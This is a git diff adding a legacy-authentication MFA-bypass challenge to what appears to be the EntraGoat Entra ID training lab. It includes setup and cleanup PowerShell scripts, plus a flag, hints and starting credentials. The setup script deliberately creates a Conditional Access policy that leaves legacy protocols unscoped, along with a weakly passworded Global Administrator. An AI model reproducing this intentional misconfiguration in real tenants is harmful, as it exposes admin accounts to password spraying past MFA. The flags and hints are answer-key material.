diff --git a/EntraGoatGUI/Data/Challenges.ps1 b/EntraGoatGUI/Data/Challenges.ps1 index 6e32c1b..56c7dd3 100644 --- a/EntraGoatGUI/Data/Challenges.ps1 +++ b/EntraGoatGUI/Data/Challenges.ps1 @@ -119,6 +119,24 @@ function Get-EntraGoatChallenges { 'Try enabling CBA with one SP, then use another to upload a trusted root CA and forge your way in. No password? No problem.' ) } + @{ + Id = 7 + Title = 'Legacy Loophole - When MFA Forgot the Side Door' + Description = "Raj Patel runs the messaging stack and remembers every helpdesk shortcut the team ever cut. The tenant rolled out a 'Require MFA for All Users' Conditional Access policy last quarter, but the messaging admin account still answers IMAP and SMTP AUTH for an old line-of-business mailbox. Find the gap in the policy, ride a legacy-auth path past MFA, and lift the flag from the admin's profile." + Difficulty = 'Beginner' + Flag = 'EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}' + StartingCredentials = [ordered]@{ + Username = 'raj.patel@yourtenant.onmicrosoft.com' + Password = 'GoatAccess!123' + } + Hints = @( + 'Conditional Access scopes "client app types" as an allow-list. Look at what is actually scoped.' + 'Modern auth and legacy auth are NOT the same channel for CA evaluation.' + 'ROPC, IMAP, POP, SMTP AUTH and ActiveSync are all "legacy" - any of them will do.' + 'Helpdesk reset passwords have a habit of sticking around.' + 'Microsoft publishes a "Block legacy authentication" CA template for a reason.' + ) + } ) @{ Challenges = $Challenges } } diff --git a/README.md b/README.md index b72efd8..a84ece0 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,7 @@ cd scenarios | 4 | I (Eligibly) Own That | Intermediate | | 5 | Department of Escalations - AU Ready for This? | Advanced | | 6 | CBA (Certificate Bypass Authority) - Root Access Granted | Advanced | +| 7 | Legacy Loophole — When MFA Forgot the Side Door | Beginner | Each scenario includes a setup script, cleanup script, solution walkthrough, and a hidden flag. diff --git a/cleanups/EntraGoat-Scenario7-Cleanup.ps1 b/cleanups/EntraGoat-Scenario7-Cleanup.ps1 new file mode 100644 index 0000000..18f245c --- /dev/null +++ b/cleanups/EntraGoat-Scenario7-Cleanup.ps1 @@ -0,0 +1,141 @@ +<# +.SYNOPSIS +EntraGoat Scenario 7: Cleanup Script +To be run with Global Administrator privileges. + +.DESCRIPTION +Cleans up: +- Users (raj.patel, EntraGoat-admin-s7) +- Conditional Access policy ("EntraGoat S7 - Require MFA for All Users") +- Directory role assignments tied to the deleted admin +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + + +[CmdletBinding()] +param( + [Parameter(Mandatory=$false)] + [string]$TenantId = $null +) + +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess" +) + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - CLEANUP PROCESS |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking required Microsoft Graph modules..." +$RequiredCleanupModules = @("Microsoft.Graph.Authentication", "Microsoft.Graph.Users", "Microsoft.Graph.Identity.DirectoryManagement", "Microsoft.Graph.Identity.SignIns") +foreach ($moduleName in $RequiredCleanupModules) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Please ensure Microsoft Graph SDK is installed. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } +} +#endregion + +# Connect to Microsoft Graph +if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome +} else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome +} + +# Get Tenant Domain +$Organization = Get-MgOrganization +$TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + +# Target Objects +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Cleanup Conditional Access Policy first - cheap and isolated +Write-Host "`n[*] Removing Conditional Access policy..." -ForegroundColor Cyan +$CAPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($CAPolicy) { + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAPolicy.Id -ErrorAction Stop + Write-Host " [+] Deleted CA policy: $CAPolicyName" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete CA policy: $($_.Exception.Message)" -ForegroundColor Red + } +} else { + Write-Host " [-] CA policy not found: $CAPolicyName" -ForegroundColor Yellow +} + +# Cleanup Users +Write-Host "`n[*] Removing users..." -ForegroundColor Cyan + +foreach ($UserUPN in @($LowPrivUPN, $AdminUPN)) { + Write-Verbose " -> Checking user: $UserUPN" + $User = Get-MgUser -Filter "userPrincipalName eq '$UserUPN'" -ErrorAction SilentlyContinue + if ($User) { + try { + Remove-MgUser -UserId $User.Id -Confirm:$false + Write-Host " [+] Deleted user: $UserUPN" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete user: $UserUPN - $($_.Exception.Message)" -ForegroundColor Red + } + } else { + Write-Host " [-] User not found: $UserUPN" -ForegroundColor Yellow + } +} + +# Wait until all target objects are truly deleted before proceeding +function Wait-ForAllDeletions { + param ( + [array]$ObjectsToCheck, + [int]$TimeoutSeconds = 60 + ) + $sw = [System.Diagnostics.Stopwatch]::StartNew() + while ($sw.Elapsed.TotalSeconds -lt $TimeoutSeconds) { + $allDeleted = $true + + foreach ($obj in $ObjectsToCheck) { + if ($obj.Type -eq "User") { + $exists = Get-MgUser -Filter "userPrincipalName eq '$($obj.UPN)'" -ErrorAction SilentlyContinue + if ($exists) { $allDeleted = $false } + } elseif ($obj.Type -eq "CAPolicy") { + $polExists = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$($obj.Name)'" -ErrorAction SilentlyContinue + if ($polExists) { $allDeleted = $false } + } + } + + if ($allDeleted) { + Write-Host "`n[+] Confirmed inexistence of all requested objects" -ForegroundColor DarkGreen + return + } + Start-Sleep -Seconds 15 + } + Write-Host "[-] Warning: Timed out waiting for deletion of some objects." -ForegroundColor Yellow +} + +Write-Host "`n[*] Waiting for objects to be fully purged (this can take a moment)..." -ForegroundColor Cyan +$objectsToCheck = @( + @{ Type = "User"; UPN = $LowPrivUPN }, + @{ Type = "User"; UPN = $AdminUPN }, + @{ Type = "CAPolicy"; Name = $CAPolicyName } +) +Wait-ForAllDeletions -ObjectsToCheck $objectsToCheck + +Write-Host "`nCleanup process for Scenario 7 complete." -ForegroundColor White +Write-Host "=====================================================" -ForegroundColor DarkGray +Write-Host "" diff --git a/docs/challenges.md b/docs/challenges.md index d8c2235..f54f9a7 100644 --- a/docs/challenges.md +++ b/docs/challenges.md @@ -12,6 +12,7 @@ EntraGoat ships with 6 privilege escalation scenarios of increasing difficulty. | 4 | The Eligible Menace — PIM Path to Power | Intermediate | Privileged Identity Management abuse | | 5 | AU to Admin — The Restricted Path | Advanced | Administrative Unit boundary escape | | 6 | Certificate of Insanity — Trusting the Wrong Authority | Advanced | Certificate-based authentication impersonation | +| 7 | Legacy Loophole — When MFA Forgot the Side Door | Beginner | Conditional Access bypass via legacy authentication | ## How to play diff --git a/frontend/public/scripts/challenge7/cleanup.ps1 b/frontend/public/scripts/challenge7/cleanup.ps1 new file mode 100644 index 0000000..18f245c --- /dev/null +++ b/frontend/public/scripts/challenge7/cleanup.ps1 @@ -0,0 +1,141 @@ +<# +.SYNOPSIS +EntraGoat Scenario 7: Cleanup Script +To be run with Global Administrator privileges. + +.DESCRIPTION +Cleans up: +- Users (raj.patel, EntraGoat-admin-s7) +- Conditional Access policy ("EntraGoat S7 - Require MFA for All Users") +- Directory role assignments tied to the deleted admin +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + + +[CmdletBinding()] +param( + [Parameter(Mandatory=$false)] + [string]$TenantId = $null +) + +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess" +) + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - CLEANUP PROCESS |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking required Microsoft Graph modules..." +$RequiredCleanupModules = @("Microsoft.Graph.Authentication", "Microsoft.Graph.Users", "Microsoft.Graph.Identity.DirectoryManagement", "Microsoft.Graph.Identity.SignIns") +foreach ($moduleName in $RequiredCleanupModules) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Please ensure Microsoft Graph SDK is installed. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } +} +#endregion + +# Connect to Microsoft Graph +if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome +} else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome +} + +# Get Tenant Domain +$Organization = Get-MgOrganization +$TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + +# Target Objects +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Cleanup Conditional Access Policy first - cheap and isolated +Write-Host "`n[*] Removing Conditional Access policy..." -ForegroundColor Cyan +$CAPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($CAPolicy) { + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAPolicy.Id -ErrorAction Stop + Write-Host " [+] Deleted CA policy: $CAPolicyName" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete CA policy: $($_.Exception.Message)" -ForegroundColor Red + } +} else { + Write-Host " [-] CA policy not found: $CAPolicyName" -ForegroundColor Yellow +} + +# Cleanup Users +Write-Host "`n[*] Removing users..." -ForegroundColor Cyan + +foreach ($UserUPN in @($LowPrivUPN, $AdminUPN)) { + Write-Verbose " -> Checking user: $UserUPN" + $User = Get-MgUser -Filter "userPrincipalName eq '$UserUPN'" -ErrorAction SilentlyContinue + if ($User) { + try { + Remove-MgUser -UserId $User.Id -Confirm:$false + Write-Host " [+] Deleted user: $UserUPN" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete user: $UserUPN - $($_.Exception.Message)" -ForegroundColor Red + } + } else { + Write-Host " [-] User not found: $UserUPN" -ForegroundColor Yellow + } +} + +# Wait until all target objects are truly deleted before proceeding +function Wait-ForAllDeletions { + param ( + [array]$ObjectsToCheck, + [int]$TimeoutSeconds = 60 + ) + $sw = [System.Diagnostics.Stopwatch]::StartNew() + while ($sw.Elapsed.TotalSeconds -lt $TimeoutSeconds) { + $allDeleted = $true + + foreach ($obj in $ObjectsToCheck) { + if ($obj.Type -eq "User") { + $exists = Get-MgUser -Filter "userPrincipalName eq '$($obj.UPN)'" -ErrorAction SilentlyContinue + if ($exists) { $allDeleted = $false } + } elseif ($obj.Type -eq "CAPolicy") { + $polExists = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$($obj.Name)'" -ErrorAction SilentlyContinue + if ($polExists) { $allDeleted = $false } + } + } + + if ($allDeleted) { + Write-Host "`n[+] Confirmed inexistence of all requested objects" -ForegroundColor DarkGreen + return + } + Start-Sleep -Seconds 15 + } + Write-Host "[-] Warning: Timed out waiting for deletion of some objects." -ForegroundColor Yellow +} + +Write-Host "`n[*] Waiting for objects to be fully purged (this can take a moment)..." -ForegroundColor Cyan +$objectsToCheck = @( + @{ Type = "User"; UPN = $LowPrivUPN }, + @{ Type = "User"; UPN = $AdminUPN }, + @{ Type = "CAPolicy"; Name = $CAPolicyName } +) +Wait-ForAllDeletions -ObjectsToCheck $objectsToCheck + +Write-Host "`nCleanup process for Scenario 7 complete." -ForegroundColor White +Write-Host "=====================================================" -ForegroundColor DarkGray +Write-Host "" diff --git a/frontend/public/scripts/challenge7/setup.ps1 b/frontend/public/scripts/challenge7/setup.ps1 new file mode 100644 index 0000000..db943e8 --- /dev/null +++ b/frontend/public/scripts/challenge7/setup.ps1 @@ -0,0 +1,442 @@ +<# + +EntraGoat Scenario 7: Legacy Loophole - When MFA Forgot the Side Door +Setup script to be run with Global Administrator privileges + +This scenario provisions a Conditional Access policy that requires MFA, but +only for modern-auth client apps. Legacy authentication endpoints (ROPC, IMAP, +POP, SMTP AUTH, ActiveSync, "other clients") are excluded from the policy +scope, so a target admin account remains reachable via legacy auth without +ever triggering MFA. + +Requires Microsoft Entra ID P1 (or higher) for Conditional Access. + +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Applications, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + +[CmdletBinding()] +param( + [Parameter(Mandatory = $false)] + [string]$TenantId = $null +) + + +# Configuration +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" +$Flag = "EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}" +$AdminPassword = "Helpdesk!Reset2024" +$LowPrivPassword = "GoatAccess!123" +$standardDelay = 5 # Seconds +$longReplicationDelay = 10 + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - SETUP INITIALIZATION |" -ForegroundColor Cyan +Write-Host "| Legacy Loophole - When MFA Forgot the Side Door |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking and importing required Microsoft Graph modules..." +$RequiredModules = @( + "Microsoft.Graph.Authentication", + "Microsoft.Graph.Applications", + "Microsoft.Graph.Users", + "Microsoft.Graph.Identity.DirectoryManagement", + "Microsoft.Graph.Identity.SignIns" +) +$MissingModules = @() +foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -ListAvailable -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + $MissingModules += $moduleName + } +} + +if ($MissingModules.Count -gt 0) { + Write-Warning "The following required modules are not installed: $($MissingModules -join ', ')." + $choice = Read-Host "Do you want to attempt to install them from PowerShell Gallery? (Y/N)" + if ($choice -eq 'Y') { + try { + Write-Host "Attempting to install $($MissingModules -join ', ') from PowerShell Gallery. This may take a moment..." -ForegroundColor Yellow + Install-Module -Name $MissingModules -Scope CurrentUser -Force -AllowClobber -ErrorAction Stop -Verbose:$false + Write-Verbose "[+] Successfully attempted to install missing modules." + foreach ($moduleName in $MissingModules) { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose " Imported $moduleName" + } + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to automatically install or import modules: $($MissingModules -join ', '). Please install them manually (e.g., Install-Module -Name Microsoft.Graph -Scope CurrentUser) and re-run the script. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Required modules are missing. Please install them and re-run the script." -ForegroundColor White + exit 1 + } +} else { + foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Verbose "[*] Module $moduleName is already loaded." + } + } +} +Write-Verbose "[+] All required modules appear to be present and loaded." +#endregion Module Check and Import + +#region Authentication +Write-Verbose "[*] Connecting to Microsoft Graph..." + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess", + "Application.Read.All" +) + +try { + if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome + } else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome + } + $Organization = Get-MgOrganization + $TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + + Write-Verbose "[+] Connected to tenant: $TenantDomain" +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to connect: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Helper Functions +function New-EntraGoatUser { + param( + [Parameter(Mandatory=$true)] + [string]$DisplayName, + + [Parameter(Mandatory=$true)] + [string]$UserPrincipalName, + + [Parameter(Mandatory=$true)] + [string]$MailNickname, + + [Parameter(Mandatory=$true)] + [string]$Password, + + [Parameter(Mandatory=$false)] + [string]$Department = "", + + [Parameter(Mandatory=$false)] + [string]$JobTitle = "" + ) + + Write-Verbose " -> $DisplayName`: $UserPrincipalName" + $ExistingUser = Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'" -ErrorAction SilentlyContinue + + if ($ExistingUser) { + $User = $ExistingUser + Write-Verbose " EXISTS (using existing)" + $passwordProfile = @{ + Password = $Password + ForceChangePasswordNextSignIn = $false + } + Update-MgUser -UserId $User.Id -PasswordProfile $passwordProfile + } else { + $UserParams = @{ + DisplayName = $DisplayName + UserPrincipalName = $UserPrincipalName + MailNickname = $MailNickname + AccountEnabled = $true + PasswordProfile = @{ + ForceChangePasswordNextSignIn = $false + Password = $Password + } + } + + if ($Department) { $UserParams.Department = $Department } + if ($JobTitle) { $UserParams.JobTitle = $JobTitle } + + $User = New-MgUser @UserParams + Write-Verbose " CREATED" + Start-Sleep -Seconds $standardDelay + } + + return $User +} +#endregion + +#region User Creation +Write-Verbose "[*] Setting up users..." + +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Create or get low-privileged user +Write-Verbose " -> Regular user: $LowPrivUPN" +$LowPrivUser = New-EntraGoatUser -DisplayName "Raj Patel" -UserPrincipalName $LowPrivUPN -MailNickname "raj.patel" -Password $LowPrivPassword -Department "IT Operations" -JobTitle "Mail Systems Engineer" + +# Create or get admin user (the target). Modeled as a hybrid identity used by +# an old on-prem mail relay; Helpdesk gave it a predictable reset and the +# admin never rotated it. +Write-Verbose " -> Admin user: $AdminUPN" +$AdminUser = New-EntraGoatUser -DisplayName "EntraGoat Administrator S7" -UserPrincipalName $AdminUPN -MailNickname "entragoat-admin-s7" -Password $AdminPassword -Department "IT Administration" -JobTitle "Messaging Administrator" +#endregion + +#region Store admin flag in extension attributes +Write-Verbose "[*] Storing flag in admin user's extension attributes..." +try { + $UpdateParams = @{ + OnPremisesExtensionAttributes = @{ + ExtensionAttribute1 = $Flag + } + } + Update-MgUser -UserId $AdminUser.Id -BodyParameter $UpdateParams + Write-Verbose " -> Flag stored successfully" +} catch { + Write-Verbose " -> Flag already set or minor error (continuing)" +} +#endregion + +#region Assign Global Administrator Role to admin user +Write-Verbose "[*] Assigning Global Administrator role to admin user..." + +$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" +$DirectoryRole = Get-MgDirectoryRole -Filter "roleTemplateId eq '$GlobalAdminRoleId'" -ErrorAction SilentlyContinue +if (-not $DirectoryRole) { + Write-Verbose " -> Activating Global Administrator role..." + $RoleTemplate = Get-MgDirectoryRoleTemplate -DirectoryRoleTemplateId $GlobalAdminRoleId + $DirectoryRole = New-MgDirectoryRole -RoleTemplateId $RoleTemplate.Id + Start-Sleep -Seconds $standardDelay +} + +$ExistingMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue +$IsAlreadyAssigned = $false +if ($ExistingMembers) { + foreach ($member in $ExistingMembers) { + if ($member.Id -eq $AdminUser.Id) { + $IsAlreadyAssigned = $true + break + } + } +} +if (-not $IsAlreadyAssigned) { + try { + $RoleMemberParams = @{ + "@odata.id" = "https://graph.microsoft.com/v1.0/users/$($AdminUser.Id)" + } + New-MgDirectoryRoleMemberByRef -DirectoryRoleId $DirectoryRole.Id -BodyParameter $RoleMemberParams -ErrorAction Stop + Write-Verbose " -> Role assigned successfully" + Start-Sleep -Seconds $longReplicationDelay + } catch { + if ($_.Exception.Message -like "*already exist*") { + Write-Verbose " -> Role already assigned" + } else { + throw $_ + } + } +} else { + Write-Verbose " -> Role already assigned" +} +#endregion + +#region Create Conditional Access Policy (THE MISCONFIGURATION) +# The policy looks correct on paper: All users, All cloud apps, require MFA. +# But the clientAppTypes array only lists modern-auth clients - so legacy +# auth endpoints (Exchange ActiveSync, IMAP, POP, SMTP AUTH, ROPC and other +# "other clients") are silently out of scope. Microsoft's "Block legacy +# authentication" template is the supported control to close this gap; +# without it (or an Authentication Policy that disables basic auth), +# attackers with valid credentials can sign in via legacy protocols and +# never see an MFA prompt. +Write-Verbose "[!] CREATING MISCONFIGURATION: Conditional Access policy with no legacy-auth coverage..." + +$ExistingPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($ExistingPolicy) { + Write-Verbose " -> Policy already exists, removing old version to ensure clean state" + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $ExistingPolicy.Id -ErrorAction Stop + Start-Sleep -Seconds $standardDelay + } catch { + Write-Verbose " -> Could not remove existing policy (continuing): $($_.Exception.Message)" + } +} + +$caPolicyBody = @{ + displayName = $CAPolicyName + state = "enabled" + conditions = @{ + # Modern-auth clients only. exchangeActiveSync and other are NOT + # listed - that is the intentional gap this scenario teaches. + clientAppTypes = @("browser", "mobileAppsAndDesktopClients") + applications = @{ + includeApplications = @("All") + } + users = @{ + includeUsers = @("All") + } + } + grantControls = @{ + operator = "OR" + builtInControls = @("mfa") + } +} + +try { + $CreatedPolicy = New-MgIdentityConditionalAccessPolicy -BodyParameter $caPolicyBody -ErrorAction Stop + Write-Verbose " -> CA policy created: $($CreatedPolicy.DisplayName) ($($CreatedPolicy.Id))" + Start-Sleep -Seconds $longReplicationDelay +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to create Conditional Access policy. Tenant must have Entra ID P1 (or higher). Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Final Verification +Write-Verbose "[*] Running final verification..." + +$policyCheck = $false +$policyHasGap = $false +try { + $verifyPolicy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CreatedPolicy.Id -ErrorAction Stop + if ($verifyPolicy.State -eq "enabled") { + $policyCheck = $true + } + $clientAppTypes = $verifyPolicy.Conditions.ClientAppTypes + if ($clientAppTypes -and ($clientAppTypes -notcontains "exchangeActiveSync") -and ($clientAppTypes -notcontains "other")) { + $policyHasGap = $true + } +} catch { + Write-Verbose " -> Could not re-read policy: $($_.Exception.Message)" +} + +if ($policyCheck) { + Write-Verbose " -> [+] CA policy is enabled" +} else { + Write-Verbose " -> [-] CA policy is NOT enabled" +} +if ($policyHasGap) { + Write-Verbose " -> [+] Legacy-auth client types excluded from policy scope (vulnerability present)" +} else { + Write-Verbose " -> [-] Policy unexpectedly covers legacy auth - vulnerability NOT present" +} + +# Verify admin role +$roleCheck = $false +try { + $members = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue + if ($members) { + foreach ($member in $members) { + if ($member.Id -eq $AdminUser.Id) { + $roleCheck = $true + break + } + } + } +} catch { + # role membership read may fail intermittently +} +if ($roleCheck) { + Write-Verbose " -> [+] Admin user holds Global Administrator" +} else { + Write-Verbose " -> [!] Global Admin role verification uncertain (may still be assigned)" +} + +$SetupSuccessful = $policyCheck -and $policyHasGap -and $roleCheck +#endregion + +#region Output Summary +if ($VerbosePreference -eq 'Continue') { + Write-Host "" + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "| SCENARIO 7 SETUP COMPLETED (VERBOSE) |" -ForegroundColor Cyan + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "" + + Write-Host "`nVULNERABILITY DETAILS:" -ForegroundColor Yellow + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " - Conditional Access policy requires MFA but only for modern-auth clients" -ForegroundColor White + Write-Host " - clientAppTypes = browser, mobileAppsAndDesktopClients" -ForegroundColor White + Write-Host " - Legacy-auth paths (exchangeActiveSync, other) are unscoped" -ForegroundColor White + Write-Host " - ROPC, IMAP/POP/SMTP AUTH, and ActiveSync sign-ins bypass MFA entirely" -ForegroundColor White + Write-Host " - Admin account password is reachable via password spray over legacy auth" -ForegroundColor White + + Write-Host "`nATTACKER CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + + Write-Host "`nCONDITIONAL ACCESS POLICY:" -ForegroundColor Blue + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Name: " -ForegroundColor White -NoNewline + Write-Host "$CAPolicyName" -ForegroundColor Cyan + Write-Host " Policy ID: " -ForegroundColor White -NoNewline + Write-Host "$($CreatedPolicy.Id)" -ForegroundColor Cyan + + Write-Host "" + Write-Host "FLAG: " -ForegroundColor Green -NoNewline + Write-Host "$Flag" -ForegroundColor Cyan + + Write-Host "`n=====================================================" -ForegroundColor DarkGray + Write-Host "" +} else { + Write-Host "" + if ($SetupSuccessful) { + Write-Host "[+] " -ForegroundColor Green -NoNewline + Write-Host "Scenario 7 setup completed successfully" -ForegroundColor White + Write-Host "" + Write-Host "Objective: Sign in as the admin user and retrieve the flag." -ForegroundColor Gray + Write-Host "" + Write-Host "`nYOUR CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + Write-Host "" + + Write-Host "Hint: Modern auth gets the bouncer. The side door does not." -ForegroundColor DarkGray + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Scenario 7 setup failed - give it another shot or run with -Verbose flag to reveal more for debugging (spoiler alert)." -ForegroundColor White + } + Write-Host "" +} +#endregion diff --git a/frontend/src/App.js b/frontend/src/App.js index 292003f..fdbe83e 100644 --- a/frontend/src/App.js +++ b/frontend/src/App.js @@ -130,6 +130,25 @@ function App() { 'Try enabling CBA with one SP, then use another to upload a trusted root CA and forge your way in. No password? No problem.' ], completed: false + }, + { + id: 7, + title: 'Legacy Loophole - When MFA Forgot the Side Door', + description: 'Raj Patel runs the messaging stack and remembers every helpdesk shortcut the team ever cut. The tenant rolled out a "Require MFA for All Users" Conditional Access policy last quarter, but the messaging admin account still answers IMAP and SMTP AUTH for an old line-of-business mailbox. Find the gap in the policy, ride a legacy-auth path past MFA, and lift the flag from the admin\'s profile.', + difficulty: 'Beginner', + flag: 'EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}', + startingCredentials: { + username: 'raj.patel@yourtenant.onmicrosoft.com', + password: 'GoatAccess!123' + }, + hints: [ + 'Conditional Access scopes "client app types" as an allow-list. Look at what is actually scoped.', + 'Modern auth and legacy auth are NOT the same channel for CA evaluation.', + 'ROPC, IMAP, POP, SMTP AUTH and ActiveSync are all "legacy" - any of them will do.', + 'Helpdesk reset passwords have a habit of sticking around.', + 'Microsoft publishes a "Block legacy authentication" CA template for a reason.' + ], + completed: false } ]; }; diff --git a/scenarios/EntraGoat-Scenario7-Setup.ps1 b/scenarios/EntraGoat-Scenario7-Setup.ps1 new file mode 100644 index 